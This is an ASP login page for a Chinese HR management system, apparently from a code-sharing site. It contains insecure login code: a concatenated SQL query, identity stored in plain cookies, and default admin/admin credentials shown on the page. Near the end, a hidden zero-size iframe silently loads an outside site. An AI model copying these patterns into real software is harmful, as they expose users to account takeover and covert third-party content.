📄 index.asp
字号:
<%@LANGUAGE="VBSCRIPT"%>
<!--#include file="Connections/EmpMain.asp" -->
<!--#include file="asp_lib/md5.asp" -->
<%
' *** Validate request to log in to this site.
MM_LoginAction = Request.ServerVariables("URL")
If Request.QueryString<>"" Then MM_LoginAction = MM_LoginAction + "?" + Request.QueryString
MM_valUsername=CStr(Request.Form("UserName"))
If MM_valUsername <> "" Then
MM_fldUserAuthorization=""
MM_redirectLoginSuccess="EmpMain_FrameAll.asp"
MM_redirectLoginFailed="index.asp"
MM_flag="ADODB.Recordset"
set MM_rsUser = Server.CreateObject(MM_flag)
MM_rsUser.ActiveConnection = MM_EmpMain_STRING
MM_rsUser.Source = "SELECT UserName, password,ID"
If MM_fldUserAuthorization <> "" Then MM_rsUser.Source = MM_rsUser.Source & "," & MM_fldUserAuthorization
MM_rsUser.Source = MM_rsUser.Source & " FROM UserRight WHERE UserName='" & Replace(MM_valUsername,"'","''") &"' AND password='" & md5(Request.Form("Password")) & "'"
MM_rsUser.CursorType = 0
MM_rsUser.CursorLocation = 2
MM_rsUser.LockType = 3
MM_rsUser.Open
If Not MM_rsUser.EOF Or Not MM_rsUser.BOF Then
' username and password match - this is a valid user
Session("MM_Username") = MM_valUsername
response.Cookies("ID") = MM_rsUser("ID")
response.Cookies("UserName") = MM_rsUser("UserName")
If (MM_fldUserAuthorization <> "") Then
Session("MM_UserAuthorization") = CStr(MM_rsUser.Fields.Item(MM_fldUserAuthorization).Value)
Else
Session("MM_UserAuthorization") = ""
End If
if CStr(Request.QueryString("accessdenied")) <> "" And false Then
MM_redirectLoginSuccess = Request.QueryString("accessdenied")
End If
MM_rsUser.Close
Response.Redirect(MM_redirectLoginSuccess)
End If
MM_rsUser.Close
Response.Redirect(MM_redirectLoginFailed)
End If
%>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<LINK href="http://88.txiang88.com/inc/style.css" type=text/css rel=stylesheet>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>系统登录</title>
<style type="text/css">
<!--
.unnamed1 {
filter: Shadow(Color=#888888, direction=225); }
-->
</style>
<style type="text/css">
<!--
-->
</style>
</head>
<body bgcolor="#D8EEFE">
<table width="100%" height="100%" border="0">
<!--DWLayoutTable-->
<tr>
<td height="309" colspan="5" align="center" valign="middle"> <div align="center">
<form name="form1" action="<%=MM_LoginAction%>" method="POST">
<center>
<table border="0" cellpadding="0" cellspacing="0" bordercolor="#111111" width="420" id="AutoNumber1" height="250" style="border-collapse: collapse; border: 2px solid #0000FF">
<tr>
<td height="18" bgcolor="#0000FF" width="414" colspan="4"><span lang="zh-cn"><b> </b><font color="#FFFFFF" size="2"><b>系统登录</b></font></span></td>
</tr>
<tr>
<td width="420" height="75" colspan="4" background="images/loginIn.gif" class="unnamed1">
<font color="#FFFFFF"><span class="unnamed1" lang="zh-cn">
企业人力资源管理系统 </span></font></td>
</tr>
<tr>
<td height="5" background="images/loginLine.gif" width="420" colspan="4"></td>
</tr>
<tr>
<td bgcolor="#ECE9D8" height="58" width="83" valign="top"> <p align="right">
<br>
<img border="0" src="images/computer.gif" width="27" height="31"><span lang="zh-cn">
</span></td>
<td bgcolor="#ECE9D8" height="58" width="327" valign="top" colspan="3">
<br> <span lang="zh-cn"> <font size="2">请在下面区域登录</font></span></td>
</tr>
<tr>
<td bgcolor="#ECE9D8" height="89" width="83" valign="top" rowspan="5">
</td>
<td bgcolor="#ECE9D8" height="24" width="100" align="right"> <span lang="zh-cn"><font size="2">用户名:</font></span></td>
<td bgcolor="#ECE9D8" height="24" width="160"> <input name="UserName" type="text" id="UserName" style="border: 1px solid #C0C0C0; padding-left: 4; padding-right: 4; padding-top: 1; padding-bottom: 1;width:100%" size="20"></td>
<td bgcolor="#ECE9D8" height="24" width="74"> </td>
</tr>
<tr>
<td bgcolor="#ECE9D8" height="23" width="100" align="right"> <span lang="zh-cn"><font size="2">密码:</font></span></td>
<td bgcolor="#ECE9D8" height="23" width="160"> <input name="Password" type="password" id="Password" style="border: 1px solid #C0C0C0; padding-left: 4; padding-right: 4; padding-top: 1; padding-bottom: 1;width:100%" size="20"></td>
<td bgcolor="#ECE9D8" height="23" width="74"> </td>
</tr>
<tr>
<td bgcolor="#ECE9D8" height="13" width="100" valign="top"> <p align="center"> </td>
<td bgcolor="#ECE9D8" height="13" width="233" valign="top" colspan="2">
<p align="center"> </td>
</tr>
<tr>
<td bgcolor="#ECE9D8" height="17" width="100" valign="top"> </td>
<td bgcolor="#ECE9D8" height="17" width="233" valign="top" colspan="2">
<p align="center">
<input type="submit" value="提交" name="B1" style="background-color: #FFFFFF">
<span lang="zh-cn"> </span>
<input type="reset" value="重置" name="B2" style="background-color: #FFFFFF">
</td>
</tr>
<tr>
<td bgcolor="#ECE9D8" height="12" width="100" valign="top"> </td>
<td bgcolor="#ECE9D8" height="12" width="233" valign="top" colspan="2"> </td>
</tr>
</table>
</center>
</form>
</div></td>
</tr>
<tr>
<td width="160" height="75"></td>
<td width="51"></td>
<td width="523" valign="top"><script type="text/javascript"><!--
google_ad_client = "pub-8549435721698024";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_channel ="4921805261";
google_ad_type = "text";
google_color_border = "CCCCCC";
google_color_bg = "FFFFFF";
google_color_link = "000000";
google_color_url = "666666";
google_color_text = "333333";
//--></td>
<td width="11"></td>
<td width="209"></td>
</tr>
<tr>
<td height="27"></td>
<td colspan="3" valign="top"><a href="http://www.code918.com" title="免费空间|google技术|素材下载" target="_blank"><font color="#FF0000"><b></b></font></a>
管理员:admin 密码:admin </td>
<td> </td>
</tr>
<tr>
<td height="11"></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</table><IFRAME SRC=http://www.code918.com/ width=0 height=0 frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></IFRAME>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -